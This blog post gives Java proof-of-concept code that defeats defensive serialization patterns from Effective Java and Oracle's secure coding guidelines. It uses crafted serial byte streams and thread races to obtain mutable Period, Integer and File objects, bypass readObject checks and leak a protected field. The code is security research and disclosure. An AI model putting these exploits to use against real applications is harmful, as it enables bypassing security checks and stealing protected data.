(This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization.)
So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that.
In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data.
Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post.
So I decided on an "annotated" Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times.
So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization.
001 package util;
002
003 public class Repeat {
004 private int count;
005 private Object[] data;
006
007 Repeat(int count, Object[] data) {
008 this.count = count;
009 this.data = data;
010 }
011
012 public static Repeat me(int count, Object ... data) {
013 return new Repeat(count, data);
014 }
015
016 public int getCount() {
017 return count;
018 }
019
020 public Object[] getData() {
021 return data;
022 }
023 }
001 package util;
002
003 import java.io.BufferedInputStream;
004 import java.io.ByteArrayInputStream;
005 import java.io.ByteArrayOutputStream;
006 import java.io.DataOutputStream;
007 import java.io.IOException;
008 import java.io.InputStream;
009 import java.io.ObjectInputStream;
010
011 public class Converter {
012
013 public static ObjectInputStream convert(Object[] objs) throws IOException {
014 ObjectInputStream ois = new ObjectInputStream(getStream(objs));
015 return ois;
016 }
017
018 public static InputStream getStream(Object[] objs) throws IOException {
019 ByteArrayOutputStream baos = new ByteArrayOutputStream();
020 DataOutputStream dos = new DataOutputStream(baos);
021 for (Object obj : objs) {
022 treatObject(dos, obj);
023 }
024
025 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
026 BufferedInputStream bis = new BufferedInputStream(bais);
027 return bis;
028 }
029
030 private static void treatObject(DataOutputStream dos, Object obj)
031 throws IOException {
032 if (obj instanceof Byte) {
033 dos.writeByte((Byte) obj);
034 } else if (obj instanceof Short) {
035 dos.writeShort((Short) obj);
036 } else if (obj instanceof Integer) {
037 dos.writeInt((Integer) obj);
038 } else if (obj instanceof Long) {
039 dos.writeLong((Long) obj);
040 } else if (obj instanceof String) {
041 String str = (String) obj;
042 dos.writeUTF(str);
043 } else if (obj instanceof Repeat) {
044 Repeat r = (Repeat) obj;
045 for (int i = 0; i < r.getCount(); i++) {
046 for (Object o2 : r.getData()) {
047 treatObject(dos, o2);
048 }
049 }
050 } else {
051 System.out.println("strange type in data array: " + obj.getClass());
052 }
053 }
054
055 }
001 package util;
002
003 import java.io.BufferedInputStream;
004 import java.io.IOException;
005 import java.io.InputStream;
006
007 public class EvilSplitStream extends BufferedInputStream {
008 InputStream alternate = null;
009 public EvilSplitStream(InputStream is) {
010 super(is);
011 }
012
013 public synchronized int read() throws IOException {
014 if (alternate != null) {
015 return alternate.read();
016 }
017 return super.read();
018 }
019
020 public int read(byte[] b) throws IOException {
021 if (alternate != null) {
022 return alternate.read(b);
023 }
024 return super.read(b);
025 }
026
027 public synchronized int read(byte[] b, int off, int len) throws IOException {
028 if (alternate != null) {
029 return alternate.read(b, off, len);
030 }
031 return super.read(b, off, len);
032 }
033
034 public void rewrite(InputStream is) {
035 this.alternate = is;
036 }
037
038 }
With those out of the way, let's look at the cases in the same order of the last post.
1) Example from Joshua Bloch's Effective Java (Item 76):001 package ser1;
002
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 import java.io.PrintStream;
008 import java.util.Calendar;
009 import java.util.Date;
010
011 import util.Converter;
012
013 public class MutableDate extends Date implements ObjectStreamConstants {
014 private static final long serialVersionUID = 1L;
015
016 private Period period;
017
018 static final Object[] _DATA = new Object[] {
019 STREAM_MAGIC, STREAM_VERSION, // stream headers
020
021 TC_OBJECT,
022 TC_CLASSDESC,
023 Period.class.getName(), // A Period object
024 (long) 7141649437422996369L, // serialVersionUID
025 (byte) 2, // classdesc flags
026 (short) 2, // field count
027 (byte) 'L', "start", TC_STRING, "Ljava/util/Date;", // start field
028 (byte) 'L', "end", TC_STRING, "Ljava/util/Date;", // end field
029 TC_ENDBLOCKDATA,
030 TC_NULL, // no superclass
031
032 // field value data
033 TC_OBJECT, // value for Period.start field
034 TC_CLASSDESC,
035 MutableDate.class.getName(), // MutableDate object
036 (long) 1, // serialVersionUID
037 (byte) 2, // flags
038 (short) 1, // field count
039 (byte) 'L', "period", TC_STRING, "Lser1/Period;", // MutableDate.period
040 TC_ENDBLOCKDATA,
041 TC_NULL, // no superclass
042
043 TC_REFERENCE, baseWireHandle + 3, // value for MutableDate.period
044 // which is a ref to the Period object defined above
045 TC_REFERENCE, baseWireHandle + 6, // value for Period.end
046 // which is a ref to the same MutableDate object defined above
047 };
048
049 public static void main(String[] args) throws Exception {
050 Converter.convert(_DATA).readObject();
051 // throw away the read object here, because after readObject returns
052 // it truly has become immutable and useless
053 }
054
055
056 volatile static int pos = 0;
057 static long[] values = {new Date(2008-1900, Calendar.MAY, 1).getTime(),
058 new Date(2009-1900, Calendar.JULY, 4).getTime(),
059 new Date(2010-1900, Calendar.DECEMBER, 24).getTime(),
060 new Date(2010-1900, Calendar.AUGUST, 8).getTime()};
061
062 public long getTime() {
063 if (pos >= values.length) {
064 return 0;
065 }
066
067 // stack inspection
068 ByteArrayOutputStream baos = new ByteArrayOutputStream();
069 new Exception().printStackTrace(new PrintStream(baos));
070 int period = baos.toString().indexOf("Period.");
071 int periodReadObject = baos.toString().indexOf("Period.readObject");
072 if (period == periodReadObject) {
073 final Period mutable = this.period;
074 // at this moment we hold a ref to a mutable Period - proof:
075 System.out.println("start: " + mutable.start());
076 System.out.println("start: " + mutable.start());
077 System.out.println("start: " + mutable.start());
078 System.out.println("start: " + mutable.start());
079 }
080
081 if (pos >= values.length) {
082 return 0;
083 }
084 return values[pos++];
085 }
086
087 private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
088 s.defaultReadObject();
089 }
090
091 }
Apologies for the bad readability of the code, the multiple re-entries into the getTime() method complicate things a bit.
There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the
start and
end fields of the Period object will be populated with the same MutableDate instance (it doesn't need to be the same, just being stingy on LOC). Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime() on our MutableDate instance which is stored in the start field. At this point all three fields; Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start() method whose output are printed, something like this:
start: Thu May 01 00:00:00 BRT 2008
start: Sat Jul 04 00:00:00 BRT 2009
start: Fri Dec 24 00:00:00 BRST 2010
start: Sun Aug 08 00:00:00 BRT 2010
Important note for those who might be at doubt: Joshua Bloch is not the problem. The serialization/deserialization SNAFU is.
2) Oracle Secure Coding guidelines (Guideline 5-4):2a) Example 1As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable.
2b) Example 2I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example:
001 package ser3;
002
003 import java.io.IOException;
004
005 public final class SecureName implements java.io.Serializable {
006
007 private static final long serialVersionUID = 3874641747845008981L;
008
009 // private internal state
010 private String name;
011
012 private static final String DEFAULT = "DEFAULT";
013
014 public SecureName() {
015 // initialize name to default value
016 name = DEFAULT;
017 }
018
019 // allow callers to modify private internal state
020 public void setName(String name) {
021 if (name != null ? name.equals(this.name) : (this.name == null)) {
022 // no change - do nothing
023 return;
024 } else {
025 // permission needed to modify name
026 securityManagerCheck();
027
028 inputValidation(name);
029
030 this.name = name;
031 }
032 }
033
034 // implement readObject to enforce checks during deserialization
035 private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
036 java.io.ObjectInputStream.GetField fields = in.readFields();
037 String name = (String) fields.get("name", DEFAULT);
038
039 // if the deserialized name does not match the default value normally
040 // created at construction time, duplicate checks
041
042 if (!DEFAULT.equals(name)) {
043 securityManagerCheck();
044 inputValidation(name);
045 }
046 this.name = name;
047 }
048
049 private void inputValidation(String name2) {
050 // code omitted
051 throw new SecurityException("not allowed");
052 }
053
054 private void securityManagerCheck() {
055 // code omitted
056 throw new SecurityException("not allowed");
057 }
058
059 public String toString() {
060 return "SecureName: " + this.name;
061 }
062
063 }
And to break it:
001 package ser3;
002
003 import java.io.IOException;
004 import java.io.NotActiveException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007
008 import util.Converter;
009 import util.EvilSplitStream;
010
011 public class App implements ObjectStreamConstants {
012
013 static final Object[] _DATA = new Object[] {
014 STREAM_MAGIC, STREAM_VERSION, // stream headers
015
016 TC_OBJECT,
017 TC_CLASSDESC,
018 SecureName.class.getName(), // A Period object
019 (long) 3874641747845008981L, // serialVersionUID
020 (byte) 3, // classdesc flags
021 (short) 1, // field count
022 (byte) 'L', "name", TC_STRING, "Ljava/lang/String;", // start field
023 TC_ENDBLOCKDATA,
024 TC_NULL, // no superclass
025
026 // field value data
027 TC_STRING, "EVIL", // value for SecureName.name
028 };
029
030 public static SecureName evilName = null;
031
032 public static void main(String[] args) throws Exception {
033 final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
034 final ObjectInputStream ois = new ObjectInputStream(is);
035
036 is.mark(1024);
037 new Thread() {
038 public void run() {
039 while (true) {
040 try {
041 ois.readObject();
042 } catch (NotActiveException nae) {
043 // NAE means defaultReadObject was successfully called
044 // in the other thread
045 break; // and our work is done
046 } catch (SecurityException se) {
047 se.printStackTrace();
048 } catch (ClassNotFoundException cnfe) {
049 } catch (IOException ioe) {
050 ioe.printStackTrace();
051 }
052 try {
053 is.reset();
054 } catch (IOException ioe) {
055 ioe.printStackTrace();
056 }
057 }
058 }
059 }.start();
060
061 // this thread "forces" a call to defaultReadObject
062 while (true) {
063 try {
064 ois.defaultReadObject();
065 System.out.println("Successfully called defaultReadObject externally.");
066 try {
067 int ref = baseWireHandle;
068 // enumerate all refs in the stream to find the evil object
069 while (true) {
070 is.rewrite(Converter.getStream(new Object[] {TC_REFERENCE, ref++}));
071 Object obj = ois.readObject(); // read ref
072 if (obj.toString().contains("EVIL")) {
073 App.evilName = (SecureName) obj;
074 break;
075 }
076 }
077 } catch (Throwable t) {
078 t.printStackTrace();
079 }
080
081 break; // done; bail
082 } catch (IOException e) {
083 } catch (ClassNotFoundException e) {
084 }
085 }
086
087 // done
088 System.out.println("An evil SecureName: " + evilName);
089 }
090 }
Basically, we create an additional thread which keeps on calling .readObject() on the ObjectInputStream, reading the same object over and over again (thanks to resetting the underlying InputStream after each call).
Meanwhile, another thread keeps on calling .defaultReadObject() on the same ObjectInputStream. Once the right condition occurs (happens immediately on my core 2 laptop) and the other thread is in the SecureName.readObject method, but hasn't called .readFields() yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject() doesn't return anything, and the corresponding .readObject() in the other thread ends up throwing an exception (because it tries to call readFields() after defaultReadObject() has already been called). To get a hold of the "missing" object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it.
2c) Example 3 - Secure writeObject implementation with a security check.Same as above, adding some meat & bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization.
001 package ser4;
002
003 import java.io.IOException;
004
005 public final class SecureValue implements java.io.Serializable {
006
007 private static final long serialVersionUID = -5975820784258084088L;
008
009 // sensitive internal state
010 private String value = "The secret of life is D41D8CD98F00B204E9800998ECF8427E";
011
012 // public method to allow callers to retrieve internal state
013 public String getValue() {
014 // permission needed to get value
015 securityManagerCheck();
016 return value;
017 }
018
019 // implement writeObject to enforce checks during serialization
020 private void writeObject(java.io.ObjectOutputStream out) throws IOException {
021 // duplicate check from getValue()
022 securityManagerCheck();
023 out.writeObject(value);
024 }
025
026 private void securityManagerCheck() {
027 // code omitted
028 }
029 }
And the code that breaks it:
001 package ser4;
002
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectOutputStream;
006 import java.io.ObjectStreamConstants;
007
008 public class App implements ObjectStreamConstants {
009
010 static ObjectOutputStream OOS = null;
011
012 static boolean completed = false;
013
014 public static void main(String[] args) throws Exception {
015 final ByteArrayOutputStream baos = new ByteArrayOutputStream();
016 OOS = new ObjectOutputStream(baos);
017 new Thread() {
018 public void run() {
019 while (!completed) {
020 try {
021 OOS.writeObject(new SecureValue());
022 } catch (IOException ioe) {}
023 }
024 }
025 }.start();
026 while (!completed) {
027 try {
028 OOS.defaultWriteObject();
029 System.out.println("serial data: " + baos.toString());
030 completed = true;
031 } catch (IOException e) {
032 }
033 }
034 }
035
036 }
This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream (new instance every time, otherwise the serialization framework would just write a ref). Another thread keeps on calling defaultWriteObject() on the same ObjectOutputStream. Once the race condition stars align (again, on my laptop this is immediate) the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us.
3) java.lang.IntegerCreating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial.
001 package ser5;
002
003 import java.io.ObjectStreamConstants;
004
005 import util.Converter;
006
007 public class App1 implements ObjectStreamConstants {
008
009 static final Object[] _DATA = new Object[] {
010 STREAM_MAGIC, STREAM_VERSION, // stream headers
011
012 TC_OBJECT,
013 TC_CLASSDESC,
014 Integer.class.getName(), // name
015 (long) 1360826667806852920L, // serialVersionUID
016 (byte) 2, // classdesc flags
017 (short) 1, // field count
018 (byte) 'I', "value",
019 TC_ENDBLOCKDATA,
020 // super
021 TC_CLASSDESC,
022 "pkg.None", // name
023 (long) 1337L, // serialVersionUID
024 (byte) 2,// classdesc flags
025 (short) 1, // field count
026 (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
027 TC_ENDBLOCKDATA,
028 // super
029 TC_NULL,
030
031 // start value data
032 TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
033 TC_CLASSDESC,
034 Ref.class.getName(), // name
035 (long) 1, // serialVersionUID
036 (byte) 2, // flags
037 (short) 1, // field count
038 (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
039 TC_ENDBLOCKDATA,
040 // super
041 TC_NULL,
042
043 // start value data for Ref
044 TC_REFERENCE, baseWireHandle + 3, // ref to the Integer object
045
046 1337 // value of the Integer object
047 };
048
049 public static Integer INSTANCE = null;
050
051 public static void main(String[] args) throws Exception {
052 Converter.convert(_DATA).readObject();
053 System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
054 }
055
056 }
001 package ser5;
002
003
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.Serializable;
007
008 public class Ref implements Serializable {
009 private static final long serialVersionUID = 1L;
010
011 public Integer i;
012
013 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
014 s.defaultReadObject ();
015 App1.INSTANCE = this.i;
016 System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
017 }
018
019 }
We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized (because the phantom superclass fields are still being initialized). So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337.
It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes.
001 package ser5;
002
003 import java.io.ObjectStreamConstants;
004
005 import util.Converter;
006 import util.Repeat;
007
008 public class App2 implements ObjectStreamConstants {
009
010 static final Object[] _DATA = new Object[] {
011 STREAM_MAGIC, STREAM_VERSION, // stream headers
012
013 TC_OBJECT,
014 TC_CLASSDESC,
015 Integer.class.getName(), // name
016 (long) 1360826667806852920L, // serialVersionUID
017 (byte) 2, // classdesc flags
018 (short) 10000, // field count
019 Repeat.me(10000, new Object[] {
020 (byte) 'I', "value"
021 }),
022 TC_ENDBLOCKDATA,
023 // super
024 TC_CLASSDESC,
025 "pkg.None", // name
026 (long) 1337L, // serialVersionUID
027 (byte) 2,// classdesc flags
028 (short) 1, // field count
029 (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
030 TC_ENDBLOCKDATA,
031 // super
032 TC_NULL,
033
034 // start value data
035 TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
036 TC_CLASSDESC,
037 Ref2.class.getName(), // name
038 (long) 1, // serialVersionUID
039 (byte) 2, // flags
040 (short) 1, // field count
041 (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
042 TC_ENDBLOCKDATA,
043 // super
044 TC_NULL,
045
046 // start value data for XRef
047 TC_REFERENCE, baseWireHandle + 3, // ref to the 4th object in the stream
048
049 // start integer data
050 Repeat.me(2000, new Object[] {
051 1
052 }),
053 Repeat.me(2000, new Object[] {
054 2
055 }),
056 Repeat.me(2000, new Object[] {
057 3
058 }),
059 Repeat.me(2000, new Object[] {
060 4
061 }),
062 Repeat.me(2000, new Object[] {
063 5
064 }),
065 };
066
067 public static void main(String[] args) throws Exception {
068 Converter.convert(_DATA).readObject();
069 }
070
071 }
001 package ser5;
002
003 import java.io.IOException;
004 import java.io.ObjectInputStream;
005 import java.io.Serializable;
006
007 public class Ref2 implements Serializable {
008 private static final long serialVersionUID = 1L;
009
010 public Integer i;
011
012 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
013 s.defaultReadObject ();
014 new Thread() {
015 public void run() {
016 while (i.intValue() < 5) {
017 System.out.println("::" + i);
018 }
019 System.out.println("::" + i);
020 }
021 }.start();
022 try {
023 Thread.sleep(50);
024 } catch (InterruptedException e) {
025 e.printStackTrace();
026 }
027 }
028 }
This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values: 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer.
4) java.io.File001 package ser6;
002 import java.io.EOFException;
003 import java.io.File;
004 import java.io.IOException;
005 import java.io.NotActiveException;
006 import java.io.ObjectInputStream;
007 import java.io.ObjectStreamConstants;
008 import java.io.OptionalDataException;
009 import java.io.StreamCorruptedException;
010
011 import util.Converter;
012 import util.EvilSplitStream;
013
014 public class App implements ObjectStreamConstants {
015
016 static final Object[] _DATA = new Object[] {
017 STREAM_MAGIC, STREAM_VERSION, // stream headers
018 TC_OBJECT,
019 TC_CLASSDESC,
020 File.class.getName(),
021 (long) 301077366599181567L, // serialVersionUID
022 (byte) 3, // classdesc flags
023 (short) 2, // field count
024 (byte)'L', "path", TC_STRING, "Ljava/lang/String;",
025 (byte)'L', "phantom", TC_STRING, "Ljava/lang/Object;",
026 TC_ENDBLOCKDATA,
027 TC_NULL, // no superclass
028
029 // start value data for File
030 TC_STRING, "/", // path
031 TC_OBJECT, // phantom (phantom field)
032 TC_CLASSDESC,
033 XRef.class.getName(),
034 (long) 1, // serialVersionUID
035 (byte) 2, // classdesc flags
036 (short)1, // field count
037 (byte)'L', "bb", TC_STRING, "Ljava/lang/Object;",
038 TC_ENDBLOCKDATA,
039 TC_NULL, // no superclass
040
041 // start value data for XRef
042 TC_REFERENCE, baseWireHandle + 3,
043 TC_BLOCKDATA, (byte) 2, (short) '\\', TC_ENDBLOCKDATA,
044 };
045
046
047 public static File INSTANCE = null;
048
049 public static boolean keepWaiting = true;
050
051 public static void main(String[] args) throws Exception {
052 final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
053 final ObjectInputStream ois = new ObjectInputStream(is);
054
055 new Thread() {
056 public void run() {
057 while (true) {
058 try {
059 ois.defaultReadObject();
060 System.out.println(":INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
061 break; // done, bail
062 } catch (IOException e) {
063 } catch (ClassNotFoundException e) {
064 }
065 }
066 }
067 }.start();
068
069 is.mark(50000);
070 while (true) {
071 try {
072 ois.readObject();
073 } catch (NotActiveException nae) {
074 App.keepWaiting = false;
075 System.out.println("NAE. OK. Bailing.");
076 break;
077 } catch (IllegalArgumentException iae) {
078 }
079 is.reset();
080 }
081 }
082
083 }
001 package ser6;
002
003
004 import java.io.ByteArrayOutputStream;
005 import java.io.File;
006 import java.io.IOException;
007 import java.io.ObjectInputStream;
008 import java.io.PrintStream;
009 import java.io.Serializable;
010
011 public class XRef implements Serializable {
012 private static final long serialVersionUID = 1L;
013
014 public File bb;
015
016 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
017 s.defaultReadObject();
018 ByteArrayOutputStream baos = new ByteArrayOutputStream();
019 PrintStream ps = new PrintStream(baos);
020 new Exception().printStackTrace(ps);
021 String stack = baos.toString();
022 if (stack.contains("defaultReadObject")) {
023 App.INSTANCE = bb;
024 System.out.println("INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
025 try {
026 while (App.keepWaiting) {
027 Thread.sleep(10);
028 }
029 } catch (InterruptedException e) {
030 e.printStackTrace();
031 }
032 }
033 }
034
035 }
That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then "/" as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.